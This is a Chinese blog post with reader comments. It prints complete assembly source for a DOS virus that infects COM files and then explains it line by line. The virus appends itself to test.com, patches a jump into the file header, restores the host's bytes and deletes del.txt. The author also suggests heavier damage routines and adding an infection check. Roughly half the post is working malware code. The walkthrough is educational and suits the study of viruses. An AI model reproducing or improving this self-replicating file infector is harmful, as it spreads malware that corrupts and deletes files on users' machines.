日久见人心,才没几天。。。偶手又痒了。。。。。在看完一个感染com文件的病毒激动万分的时候,偶决定要为这个“病毒”写点东西,也算对得起它吧,估计又该有某某大叫头疼了,但思路却是相同的,每个人,每件事,对么? 好了开始。。。。
介绍下这个病毒的结构,这个病毒是感染com文件的(古老的一种文件格式,但是很简单),由于是实模式下的,所以我们就可以添删com而不用担心别的事情,程序有感染的代码,有破坏的代码,因为没有自动查找的代码程序暂时只能感染test.com这个co并删除del.txt这个文件,但有点不爽的是这个程序没有判断是否已经感染,结果就造成重复感染,有兴趣的可以加上这个模块试试 :)
先把代码贴上。。。。
;; 感染com
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI
MOV BP, SI
PUSH SI
MOV AH,9
ADD SI, OFFSET message - OFFSET vstart
MOV DX, SI
INT 21h
POP SI
ADD SI, OFFSET yuan4byte - OFFSET vstart
MOV DI, 100h
MOV AX, DS:[SI]
MOV DS:[DI], AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP
;; 以下应该属于破坏部分
MOV DX, OFFSET delname - OFFSET vstart ; 删除一个文件
ADD DX, SI ; ds:dx指向文件名字吧
MOV AH,41h
INT 21h ; 成功 ax =0
;; 破坏完
MOV DX, OFFSET filename - OFFSET vstart ;得到文件名
ADD DX,SI ;
MOV AL,02 ; al=2 读写状态
MOV AH,3dh ;打开文件
INT 21h ;成功ax = 文件句柄, 失败 ax = 错误代码
JC error ; 错误设置进位标志
MOV BX,AX ;文件句柄
MOV DX, OFFSET yuan4byte - OFFSET vstart ;读文件的前四个字节
ADD DX,SI ; ds:dx指向缓冲区的指针
MOV CX,4 ;
MOV AH,3fh ; 读取文件
INT 21h
MOV AX, 4202h ;到文件尾 ah=42表示要移动文件
XOR CX,CX ; al=移动方式,我估计是直接从文件末尾开始的,所以位移量才是0
XOR DX,DX ; cx:dx=位移量
INT 21h ; 移动成功dx:ax指向新位置
MOV DI, OFFSET new4byte - OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI], AX
ADD SI, OFFSET mainstart - OFFSET vstart 是负的
MOV DX, SI
MOV vsizes, OFFSET vends - OFFSET mainstart
MOV CX, vsizes
MOV AH,40h
INT 21h
MOV SI, BP
MOV AL, 0
XOR CX, CX
XOR DX, DX
MOV AH, 42h
INT 21h
MOV AH, 40h
MOV CX, 4
MOV DX, OFFSET new4byte - OFFSET vstart
ADD DX, SI
INT 21h
MOV AH, 3eh ;关闭文件
INT 21h
error:
MOV AX, 100h
PUSH AX
RET
main ENDP
yuan4byte:
RET ; c3H
DB 3 DUP (?)
vsizes DW 0
new4byte DB "M", 0e9h, 0, 0
filename DB "test.com", 0
delname DB "del.txt", 0
message DB "He he he he!"
DB 0dh,0ah, "$"
vends:
start: ; 程序从这开始
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX, 4c00h
INT 21h
CSEG ENDS
END start
在我看来,这个病毒写的相当精巧,大概说说它的思路吧,程序首先读取了目标代码的前4个字节,因为前4个字节需要放它跳往病毒例程的跳转(也就是jmp),并把读取的这4个字节保存到自己的数据段(源程序总不能破坏嘛),然后把病毒例程自己复制到com的末尾,注意,数据段也顺便复制了过去,所以不用担心原来的4个字节,记住此时其实执行的就是病毒代码,也就是说目标程序已经跳转到病毒了,还需要在病毒里恢复原来的4个字节,大概就是这样,接下来自己看看吧。。。。。
注意看,程序是从 start 开始的,然后一个 CALL main 把控制权交给了病毒
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址
MOV BP, SI ;保存当前地址
PUSH SI ; 再压入栈
为什么要call一下子呢?就是为了得到此时的偏移,记得以前有个群里的朋友非要和我争论说call就是函数调用,我就不多说了,这里的call能让你突破你的思维局限(我爱死汇编啦)。注意si保存的一直是偏移地址,以后的偏移量的计算都靠它了,为什么呢?因为程序被复制过,所以固定的偏移量将会导致错误,而且标号到时候也没有了,唯一能依靠的只有这个si咯。。。。代码的重定向,很有趣哦。。 :)
MOV AH,9
ADD SI, OFFSET message - OFFSET vstart
MOV DX, SI
INT 21h ;显示预设字符串
POP SI
显示一个字符串,多多少少没多少用处,不过注意如何重定向的,仔细的想想哦,为什么这样能得到字符串的地址。。。
ADD SI, OFFSET yuan4byte - OFFSET vstart
MOV DI, 100h ;目的地址 复制到 com开头,还记得com偏移地址是 100H吧
MOV AX, DS:[SI]
MOV DS:[DI], AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
这个又是做什么呢?不要忘了在这个程序被感染的时候,它的前4个字节已经被修改并被保存到数据段,保存在哪里呢?对了,就是 yuan4byte里,而且数据段也一起被复制了过来,既然现在已经在这个病毒例程里了,跳转就没用了,从数据段恢复原程序的4个字节,因为是com所以代码从100H开始。。。。又一个重定向。。
;; 以下应该属于破坏部分
MOV DX, OFFSET delname - OFFSET vstart ; 删除一个文件
ADD DX, SI ; ds:dx指向文件名字吧
MOV AH,41h
INT 21h ; 成功 ax =0
;; 破坏完
破坏部分。。。。不怎么感兴趣,不过你可以在这里替换int 9H啦,删除一些文件啦,等等,病毒可恶的地方就在这个模块,这个程序只是删除了一个文件,能做的事情很多啦。。。
MOV DX, OFFSET filename - OFFSET vstart ;得到文件名
ADD DX,SI ;
MOV AL,02 ; al=2 读写状态
MOV AH,3dh ;打开文件
INT 21h ;成功ax = 文件句柄, 失败 ax = 错误代码
JC error ; 错误设置进位标志
MOV BX,AX ;文件句柄
找到要感染的com,其实就是一个打开文件,用C写也就是 open 或者 fopen或者直接CreateFile等等,不要想太高深。。。。
MOV DX, OFFSET yuan4byte - OFFSET vstart ;读文件的前四个字节
ADD DX,SI ; ds:dx指向缓冲区的指针
MOV CX,4 ;
MOV AH,3fh ; 读取文件
INT 21h
看!这个过程就是读取前4个字节并保存到yuan4byte的过程!!!想想奇怪吗?感染的程序负责修改,被感染的程序负责恢复并准备着修改下一个文件,如果没有下一个文件怎么办?看看上面那段代码JC error使程序立即常退出,注意!打开文件是在恢复原来的4个字节之后,如果程序
立即退出,这个程序还是会去执行原来的程序,并不会影响原来程序,但文件里的程序头四个字节还是病毒的,病毒上面修改的只是内存里的。
MOV AX, 4202h ;到文件尾 ah=42表示要移动文件
XOR CX,CX ; al=移动方式,我估计是直接从文件末尾开始的,所以位移量才是0
XOR DX,DX ; cx:dx=位移量
INT 21h ; 移动成功dx:ax指向新位置
移动到文件末尾准备把病毒例程复制到com的最后,这里只是移动文件指针。。
MOV DI, OFFSET new4byte - OFFSET vstart
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI], AX
这个又是做什么呢? 仔细观察下new4byte里是什么。。。e9其实是jmp 的机器码,跳转需要知道跳转到那,这里就是在计算跳转的偏移,注意ax的值填充了new4byte的最后2个字节,ax是什么呢?其实是文件的偏移量,其实是文件开头+4字节,加上原来文件的长度(ax)=文件末尾+4字节,而要写入文件末尾就要减去4个字节,巧妙呵呵。。。
ADD SI, OFFSET mainstart - OFFSET vstart
MOV DX, SI
MOV vsizes, OFFSET vends - OFFSET mainstart
MOV CX, vsizes
MOV AH,40h
INT 21h
MOV SI, BP
MOV AL, 0
XOR CX, CX
XOR DX, DX
MOV AH, 42h
INT 21h
MOV AH, 40h
MOV CX, 4
MOV DX, OFFSET new4byte - OFFSET vstart
ADD DX, SI
INT 21h
MOV AH, 3eh ;关闭文件
INT 21h
这段就简单了,首先复制自己到目标程序的最后,然后重新回到文件开头,最后把新的4个字节写入进程序开始,注意那个M,很有意思的哦,翻译为机器码我记得是 dec bp虽然修改了BP但是没什么影响,主要是为了凑够4个字节吧我想。
MOV AX, 100h
PUSH AX
RET
最后这个ret也证明了 它不止用来返回函数。。。。。
其余的也没什么难的了。。。。但回头来看。。每一个地方都相当精彩,有趣,第一次做外科医生,心里有点怕怕的,还好,2个月的努力终于拆开了这家伙。。。合格么?我不是很满意,还有更多的手术等着我去做,好了先睡觉吧。。。。。 :)
有问题找我。。。
- [chervy] 我还是初学汇编的。 我学着弄了一遍,接下来怎么弄呢?谢谢。 09/17 17:24
- [ghi] 先收藏了 以后再看 哈哈 好东西都得看见就收藏了 07/02 22:06
- [wuerlang] 我也收藏. 也许用来研究学习汇编的时候有用. 至于研究病毒,倒不觉得有什么兴趣. 12/25 17:24
- [happy] 学习了! 10/22 20:19
- [happy] 厉害! 10/22 20:07
- [happy] 不错,支持一下 10/22 20:05
- [goal00001111] 很不错,收藏了。 10/21 12:51
- [dreamhk] 博主可否把病毒文件加密码virus压缩发送到 rar.virus@gmail.com 谢谢,我没有 10/20 21:27
- [jyycool] 呵呵,不错强啊,我还不行,我想最多半个月,我就可以看的懂了 10/20 19:48
[ jyycool 发表于 2007-10-20 19:48 ]
呵呵,不错强啊,我还不行,我想最多半个月,我就可以看的懂了
[ dreamhk 发表于 2007-10-20 21:27 ]
博主可否把病毒文件加密码virus压缩发送到 rar.virus@gmail.com
谢谢,我没有你那个能力去仔细分析,我的目的只是想了解它的感染方式,然后尝试手工修复被感染文件.
[ goal00001111 发表于 2007-10-21 12:51 ]
很不错,收藏了。
[ wuerlang 发表于 2007-12-25 17:24 ]
我也收藏.
也许用来研究学习汇编的时候有用.
至于研究病毒,倒不觉得有什么兴趣.
[ ghi 发表于 2008-07-02 22:06 ]
先收藏了 以后再看 哈哈 好东西都得看见就收藏了
[ chervy 发表于 2011-09-17 17:24 ]
我还是初学汇编的。
我学着弄了一遍,接下来怎么弄呢?谢谢。